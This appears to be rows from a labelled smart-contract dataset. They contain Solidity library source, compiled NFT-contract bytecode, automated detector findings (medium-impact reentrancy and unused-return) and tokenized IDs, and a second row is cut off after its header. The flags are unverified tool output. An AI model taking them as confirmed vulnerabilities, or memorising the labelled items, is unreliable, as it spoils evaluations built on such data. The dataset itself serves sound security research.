* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x60806040526004361061023b5760003560e01c80637170e7691161012e578063ac998f45116100ab578063e0df5b6f1161006f578063e0df5b6f14610610578063e985e9c514610630578063ee168daa14610679578063ee49382414610695578063f2fde38b146106a857600080fd5b8063ac998f4514610583578063b0ec6dff146105a3578063b88d4fde146105b8578063c87b56dd146105d8578063d44f5700146105f857600080fd5b806395d89b41116100f257806395d89b411461050f57806396f3c77c14610524578063982ca9d71461053b578063a0712d6814610550578063a22cb4651461056357600080fd5b80637170e7691461048c5780637cb64759146104a15780638129fc1c146104c15780638d859f3e146104d65780638da5cb5b146104f157600080fd5b806340a3d246116101bc5780636352211e116101805780636352211e1461040d5780636373a6b11461042d5780636651f0081461044257806370a0823114610457578063715018a61461047757600080fd5b806340a3d2461461039557806342842e0e146103aa57806346a460f6146103ca5780635c975abb146103e05780635e5a9e30146103f857600080fd5b80630f2cdd6c116102035780630f2cdd6c1461031457806318160ddd1461032957806323b872dd146103405780633ccfd60b14610360578063408cbf941461037557600080fd5b806301ffc9a71461024057806306fdde0314610275578063081812fc14610297578063095ea7b3146102cf57806309c01414146102f1575b600080fd5b34801561024c57600080fd5b5061026061025b36600461269c565b6106c8565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b5061028a61071a565b60405161026c9190612718565b3480156102a357600080fd5b506102b76102b236600461272b565b6107ac565b6040516001600160a01b03909116815260200161026c565b3480156102db57600080fd5b506102ef6102ea366004612760565b610846565b005b3480156102fd57600080fd5b50610306600581565b60405190815260200161026c565b34801561032057600080fd5b50610306601481565b34801561033557600080fd5b5061030661012f5481565b34801561034c57600080fd5b506102ef61035b36600461278a565b61095c565b34801561036c57600080fd5b506102ef61098d565b34801561038157600080fd5b506102ef610390366004612760565b610ae2565b3480156103a157600080fd5b506102ef610b9b565b3480156103b657600080fd5b506102ef6103c536600461278a565b610bcb565b3480156103d657600080fd5b5061030661119481565b3480156103ec57600080fd5b5060fb5460ff16610260565b34801561040457600080fd5b506102ef610be6565b34801561041957600080fd5b506102b761042836600461272b565b610c5d565b34801561043957600080fd5b5061028a610cd4565b34801561044e57600080fd5b50610260610cf0565b34801561046357600080fd5b506103066104723660046127c6565b610cff565b34801561048357600080fd5b506102ef610d86565b34801561049857600080fd5b50610260610dea565b3480156104ad57600080fd5b506102ef6104bc36600461272b565b610df4565b3480156104cd57600080fd5b506102ef610e0f565b3480156104e257600080fd5b50610306668e1bc9bf04000081565b3480156104fd57600080fd5b506033546001600160a01b03166102b7565b34801561051b57600080fd5b5061028a610fbf565b34801561053057600080fd5b506103066101305481565b34801561054757600080fd5b50610306610fce565b6102ef61055e36600461272b565b610fe2565b34801561056f57600080fd5b506102ef61057e3660046127e1565b6111ad565b34801561058f57600080fd5b5061012e5461026090610100900460ff1681565b3480156105af57600080fd5b50610306605d81565b3480156105c457600080fd5b506102ef6105d3366004612833565b611272565b3480156105e457600080fd5b5061028a6105f336600461272b565b6112aa565b34801561060457600080fd5b5061030663618ae15081565b34801561061c57600080fd5b506102ef61062b36600461290f565b611359565b34801561063c57600080fd5b5061026061064b366004612981565b6001600160a01b039182166000908152609c6020908152604080832093909416825291909152205460ff1690565b34801561068557600080fd5b506103066706096e31fd4b800081565b6102ef6106a33660046129b4565b611398565b3480156106b457600080fd5b506102ef6106c33660046127c6565b6114f6565b60006001600160e01b031982166380ac58cd60e01b14806106f957506001600160e01b03198216635b5e139f60e01b145b8061071457506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606097805461072990612a37565b80601f016020809104026020016040519081016040528092919081815260200182805461075590612a37565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b5050505050905090565b6000818152609960205260408120546001600160a01b031661082a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152609b60205260409020546001600160a01b031690565b600061085182610c5d565b9050806001600160a01b0316836001600160a01b031614156108bf5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610821565b336001600160a01b03821614806108db57506108db813361064b565b61094d5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610821565b61095783836115be565b505050565b610966338261162c565b6109825760405162461bcd60e51b815260040161082190612a72565b610957838383611723565b61012e5460ff16610a155760405173f54b1a926319bc407edb16ae9809c5fe47c365da906000906706096e31fd4b80009082818181858883f193505050501580156109dc573d6000803e3d6000fd5b5061012e805460ff191660011790556040517f1a5ae5a16dfb8622cc9ba1d8f851c96d454feb61764cc8257872fd748adde16f90600090a15b6002471115610ae0577302f4cfd0e5af6da87856b6e70d1b595de45591ba6108fc610a41600247612aef565b6040518115909202916000818181858888f19350505050158015610a69573d6000803e3d6000fd5b506040517343ae70bd9d4ae85fc13d07890879ecaf84fd6ea3904780156108fc02916000818181858888f19350505050158015610aaa573d6000803e3d6000fd5b50610ab6600247612aef565b6040517fcf02778e22fc362be2a1178c4d6a79580f78f63d939a5261641f31c021f233fd90600090a25b565b610afc610af76033546001600160a01b031690565b6118c3565b60008111610b1c5760405162461bcd60e51b815260040161082190612b03565b605d8161013054610b2d9190612b30565b1115610b745760405162461bcd60e51b815260206004820152601660248201527511da5d99585dd85e54dd5c1c1b1e515e18d95959195960521b6044820152606401610821565b806101306000828254610b879190612b30565b90915550610b9790508282611910565b5050565b610bb0610af76033546001600160a01b031690565b60fb5460ff1615610bc357610ae06119bf565b610ae0611a52565b61095783838360405180602001604052806000815250611272565b610bfb610af76033546001600160a01b031690565b61012e54610100900460ff16610ae05761012e805461ff001916610100179055604051610c2b9061013390612be2565b604051908190038120907f294bf3adcdbb3a8fc69e8a091f06fdbe7c3d016a658b80f5ec578c6ffc179ad390600090a2565b6000818152609960205260408120546001600160a01b0316806107145760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610821565b604051806060016040528060408152602001612dad6040913981565b6000610cfa611acd565b905090565b60006001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610821565b506001600160a01b03166000908152609a602052604090205490565b6033546001600160a01b03163314610de05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610821565b610ae06000611ae8565b6000610cfa611b3a565b610e09610af76033546001600160a01b031690565b61012d55565b600054610100900460ff1680610e28575060005460ff16155b610e445760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015610e66576000805461ffff19166101011790555b610eb46040518060400160405280601081526020016f54686520536c6f7468204c6f756e676560801b815250604051806040016040528060048152602001630a698a8960e31b815250611b63565b610ebc611bea565b610ec4611c51565b610ecc611cb8565b7fc0d0be35e72372222728287f02704739f7afb8ee360f60ec3adfc2431f5f2b6261012d5560408051808201909152601e81527f68747470733a2f2f6170692e746865736c6f74686c6f756e67652e636f6d00006020820152610f2e90611d17565b610f4d73d53f68c213786bb5b836b6882bbab181f93ef0626002611910565b610f6c7343ae70bd9d4ae85fc13d07890879ecaf84fd6ea36001611910565b610f8b73a1d8bef9008016fcf2f8ad1b40e0122a5b3ddc716002611910565b610faa73f54b1a926319bc407edb16ae9809c5fe47c365da6001611910565b8015610fbc576000805461ff00191690555b50565b60606098805461072990612a37565b610fdf63618ae15062015180612b30565b81565b610fea611dce565b610ff2611acd565b6110375760405162461bcd60e51b8152602060048201526016602482015275139bdd125b949959dd5b185c94d85b1954195c9a5bd960521b6044820152606401610821565b600081116110575760405162461bcd60e51b815260040161082190612b03565b34611069668e1bc9bf04000083612c3c565b146110a95760405162461bcd60e51b815260206004820152601060248201526f125b9d985b1a59115512105b5bdd5b9d60821b6044820152606401610821565b3360009081526101326020526040812080548392906110c9908490612b30565b90915550503360009081526101326020526040902054601410156111255760405162461bcd60e51b81526020600482015260136024820152724d696e74696e674578636565647351756f746160681b6044820152606401610821565b600061013054605d6111379190612c5b565b61012f5461114790611194612c5b565b6111519190612c5b565b9050808211156111a35760405162461bcd60e51b815260206004820152601760248201527f4d696e74696e67457863656564734d6178537570706c790000000000000000006044820152606401610821565b610b973383611910565b6001600160a01b0382163314156112065760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610821565b336000818152609c602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61127c338361162c565b6112985760405162461bcd60e51b815260040161082190612a72565b6112a484848484611e15565b50505050565b6000818152609960205260409020546060906001600160a01b03166113025760405162461bcd60e51b815260206004820152600e60248201526d155b9adb9bdddb951bdad95b925960921b6044820152606401610821565b6101336040518060400160405280600a8152602001692f6d657461646174612f60b01b81525061133184611e48565b60405160200161134393929190612c72565b6040516020818303038152906040529050919050565b610b9782828080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611d1792505050565b6113a0611dce565b6113a8611b3a565b6113eb5760405162461bcd60e51b8152602060048201526014602482015273139bdd125b95da1a5d195b1a5cdd14195c9a5bd960621b6044820152606401610821565b6000841161140b5760405162461bcd60e51b815260040161082190612b03565b3461141d668e1bc9bf04000086612c3c565b1461145d5760405162461bcd60e51b815260206004820152601060248201526f125b9d985b1a59115512105b5bdd5b9d60821b6044820152606401610821565b600061146833610cff565b905060056114768683612b30565b11156114ba5760405162461bcd60e51b81526020600482015260136024820152724d696e74696e674578636565647351756f746160681b6044820152606401610821565b6114c684338585611f46565b6114d03386611910565b60056114dc8683612b30565b14156114ef5761013180546001861b1790555b5050505050565b6033546001600160a01b031633146115505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610821565b6001600160a01b0381166115b55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610821565b610fbc81611ae8565b6000818152609b6020526040902080546001600160a01b0319166001600160a01b03841690811790915581906115f382610c5d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152609960205260408120546001600160a01b03166116a55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610821565b60006116b083610c5d565b9050806001600160a01b0316846001600160a01b031614806116eb5750836001600160a01b03166116e0846107ac565b6001600160a01b0316145b8061171b57506001600160a01b038082166000908152609c602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661173682610c5d565b6001600160a01b03161461179e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610821565b6001600160a01b0382166118005760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610821565b61180b6000826115be565b6001600160a01b0383166000908152609a60205260408120805460019290611834908490612c5b565b90915550506001600160a01b0382166000908152609a60205260408120805460019290611862908490612b30565b909155505060008181526099602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b336001600160a01b03821614610fbc5760405162461bcd60e51b8152602060048201526012602482015271556e617574686f72697a656441636365737360701b6044820152606401610821565b600260c95414156119635760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610821565b600260c95560005b8181101561199d5761198b838261012f546119869190612b30565b61205e565b8061199581612cbb565b91505061196b565b508061012f60008282546119b19190612b30565b9091555050600160c9555050565b60fb5460ff16611a085760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610821565b60fb805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b60fb5460ff1615611a985760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610821565b60fb805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611a353390565b6000611ae063618ae15062015180612b30565b421015905090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600063618ae1504210158015610cfa5750611b5c63618ae15062015180612b30565b4210905090565b600054610100900460ff1680611b7c575060005460ff16155b611b985760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015611bba576000805461ffff19166101011790555b611bc2612078565b611bca612078565b611bd483836120e2565b8015610957576000805461ff0019169055505050565b600054610100900460ff1680611c03575060005460ff16155b611c1f5760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015611c41576000805461ffff19166101011790555b611c49612078565b610faa612177565b600054610100900460ff1680611c6a575060005460ff16155b611c865760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015611ca8576000805461ffff19166101011790555b611cb0612078565b610faa6121d7565b600054610100900460ff1680611cd1575060005460ff16155b611ced5760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015611d0f576000805461ffff19166101011790555b610faa61224c565b611d2c610af76033546001600160a01b031690565b61012e54610100900460ff1615611d765760405162461bcd60e51b815260206004820152600e60248201526d151bdad95b955492531bd8dad95960921b6044820152606401610821565b8051611d8a906101339060208401906125ed565b50610133604051611d9b9190612be2565b604051908190038120907f5bb111c9b2ad41c6cc1754cdbee2cc303b7becb89d29d2d5f91165fcc0b0a49d90600090a250565b60fb5460ff1615610ae05760405162461bcd60e51b815260206004820152601160248201527014db1bdd1a131bdd5b99d954185d5cd959607a1b6044820152606401610821565b611e20848484611723565b611e2c848484846122bc565b6112a45760405162461bcd60e51b815260040161082190612cd6565b606081611e6c5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e965780611e8081612cbb565b9150611e8f9050600a83612aef565b9150611e70565b60008167ffffffffffffffff811115611eb157611eb161281d565b6040519080825280601f01601f191660200182016040528015611edb576020820181803683370190505b5090505b841561171b57611ef0600183612c5b565b9150611efd600a86612d28565b611f08906030612b30565b60f81b818381518110611f1d57611f1d612d3c565b60200101906001600160f81b031916908160001a905350611f3f600a86612aef565b9450611edf565b610131546001851b9081161415611f905760405162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e50db185a5b595960921b6044820152606401610821565b60408051602081018690526bffffffffffffffffffffffff19606086901b16918101919091526005605482015260009060740160405160208183030381529060405280519060200120905061201d8383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505061012d5491508490506123c9565b6114ef5760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b226b2b935b632a83937b7b360711b6044820152606401610821565b610b97828260405180602001604052806000815250612478565b600054610100900460ff1680612091575060005460ff16155b6120ad5760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015610faa576000805461ffff19166101011790558015610fbc576000805461ff001916905550565b600054610100900460ff16806120fb575060005460ff16155b6121175760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff16158015612139576000805461ffff19166101011790555b825161214c9060979060208601906125ed565b5081516121609060989060208501906125ed565b508015610957576000805461ff0019169055505050565b600054610100900460ff1680612190575060005460ff16155b6121ac5760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff161580156121ce576000805461ffff19166101011790555b610faa33611ae8565b600054610100900460ff16806121f0575060005460ff16155b61220c5760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff1615801561222e576000805461ffff19166101011790555b60fb805460ff191690558015610fbc576000805461ff001916905550565b600054610100900460ff1680612265575060005460ff16155b6122815760405162461bcd60e51b815260040161082190612bee565b600054610100900460ff161580156122a3576000805461ffff19166101011790555b600160c9558015610fbc576000805461ff001916905550565b60006001600160a01b0384163b156123be57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612300903390899088908890600401612d52565b602060405180830381600087803b15801561231a57600080fd5b505af192505050801561234a575060408051601f3d908101601f1916820190925261234791810190612d8f565b60015b6123a4573d808015612378576040519150601f19603f3d011682016040523d82523d6000602084013e61237d565b606091505b50805161239c5760405162461bcd60e51b815260040161082190612cd6565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061171b565b506001949350505050565b600081815b855181101561246d5760008682815181106123eb576123eb612d3c565b6020026020010151905080831161242d57604080516020810185905290810182905260600160405160208183030381529060405280519060200120925061245a565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061246581612cbb565b9150506123ce565b509092149392505050565b61248283836124ab565b61248f60008484846122bc565b6109575760405162461bcd60e51b815260040161082190612cd6565b6001600160a01b0382166125015760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610821565b6000818152609960205260409020546001600160a01b0316156125665760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610821565b6001600160a01b0382166000908152609a6020526040812080546001929061258f908490612b30565b909155505060008181526099602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546125f990612a37565b90600052602060002090601f01602090048101928261261b5760008555612661565b82601f1061263457805160ff1916838001178555612661565b82800160010185558215612661579182015b82811115612661578251825591602001919060010190612646565b5061266d929150612671565b5090565b5b8082111561266d5760008155600101612672565b6001600160e01b031981168114610fbc57600080fd5b6000602082840312156126ae57600080fd5b81356126b981612686565b9392505050565b60005b838110156126db5781810151838201526020016126c3565b838111156112a45750506000910152565b600081518084526127048160208601602086016126c0565b601f01601f19169290920160200192915050565b6020815260006126b960208301846126ec565b60006020828403121561273d57600080fd5b5035919050565b80356001600160a01b038116811461275b57600080fd5b919050565b6000806040838503121561277357600080fd5b61277c83612744565b946020939093013593505050565b60008060006060848603121561279f57600080fd5b6127a884612744565b92506127b660208501612744565b9150604084013590509250925092565b6000602082840312156127d857600080fd5b6126b982612744565b600080604083850312156127f457600080fd5b6127fd83612744565b91506020830135801515811461281257600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561284957600080fd5b61285285612744565b935061286060208601612744565b925060408501359150606085013567ffffffffffffffff8082111561288457600080fd5b818701915087601f83011261289857600080fd5b8135818111156128aa576128aa61281d565b604051601f8201601f19908116603f011681019083821181831017156128d2576128d261281d565b816040528281528a60208487010111156128eb57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806020838503121561292257600080fd5b823567ffffffffffffffff8082111561293a57600080fd5b818501915085601f83011261294e57600080fd5b81358181111561295d57600080fd5b86602082850101111561296f57600080fd5b60209290920196919550909350505050565b6000806040838503121561299457600080fd5b61299d83612744565b91506129ab60208401612744565b90509250929050565b600080600080606085870312156129ca57600080fd5b8435935060208501359250604085013567ffffffffffffffff808211156129f057600080fd5b818701915087601f830112612a0457600080fd5b813581811115612a1357600080fd5b8860208260051b8501011115612a2857600080fd5b95989497505060200194505050565b600181811c90821680612a4b57607f821691505b60208210811415612a6c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082612afe57612afe612ac3565b500490565b60208082526013908201527216995c9bd4db1bdd1a1cd4995c5d595cdd1959606a1b604082015260600190565b60008219821115612b4357612b43612ad9565b500190565b8054600090600181811c9080831680612b6257607f831692505b6020808410821415612b8457634e487b7160e01b600052602260045260246000fd5b818015612b985760018114612ba957612bd6565b60ff19861689528489019650612bd6565b60008881526020902060005b86811015612bce5781548b820152908501908301612bb5565b505084890196505b50505050505092915050565b60006126b98284612b48565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000816000190483118215151615612c5657612c56612ad9565b500290565b600082821015612c6d57612c6d612ad9565b500390565b6000612c7e8286612b48565b8451612c8e8183602089016126c0565b8451910190612ca18183602088016126c0565b64173539b7b760d91b910190815260050195945050505050565b6000600019821415612ccf57612ccf612ad9565b5060010190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b600082612d3757612d37612ac3565b500690565b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612d85908301846126ec565b9695505050505050565b600060208284031215612da157600080fd5b81516126b98161268656fe36326132306534353030303862646638353462323465616130343262643338616165313932383365626335313565303034323437303431323332646162616338a2646970667358221220a49b45216e3121d72a2b8c30e07aae2e44efc1a77b6a13960faceb210d7a41f364736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2850,
21057,
2581,
2497,
28154,
2050,
2581,
2487,
4246,
2487,
2546,
2549,
2063,
2581,
17914,
2549,
11057,
7875,
2620,
2094,
2620,
2683,
2629,
2063,
2683,
2581,
2581,
2509,
2063,
2475,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1023,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
9413,
2278,
2581,
17465,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3229,
1013,
2219,
3085,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
21183,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,417 | 0x951E0dDe1fbe4AD1E9C027F46b653BAD2D99828d | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
import {IUniswapV2Router02} from '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
import {UniswapV2Library} from '../libraries/UniswapV2Library.sol';
import {ZeroLib} from '../libraries/ZeroLib.sol';
import {IERC2612Permit} from '../interfaces/IERC2612Permit.sol';
import {IRenCrv} from '../interfaces/CurvePools/IRenCrv.sol';
import {SplitSignatureLib} from '../libraries/SplitSignatureLib.sol';
import {IBadgerSettPeak} from '../interfaces/IBadgerSettPeak.sol';
import {ICurveFi} from '../interfaces/ICurveFi.sol';
import {IGateway} from '../interfaces/IGateway.sol';
import {ICurveETHUInt256} from '../interfaces/CurvePools/ICurveETHUInt256.sol';
import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IyVault} from '../interfaces/IyVault.sol';
import {ISett} from '../interfaces/ISett.sol';
import {Math} from '@openzeppelin/contracts/math/Math.sol';
import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol';
import {SafeERC20} from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import {ECDSA} from '@openzeppelin/contracts/cryptography/ECDSA.sol';
import {EIP712Upgradeable} from '@openzeppelin/contracts-upgradeable/drafts/EIP712Upgradeable.sol';
contract BadgerBridgeZeroController is EIP712Upgradeable {
using SafeERC20 for IERC20;
using SafeMath for *;
uint256 public fee;
address public governance;
address public strategist;
address constant btcGateway = 0xe4b679400F0f267212D5D812B95f58C83243EE71;
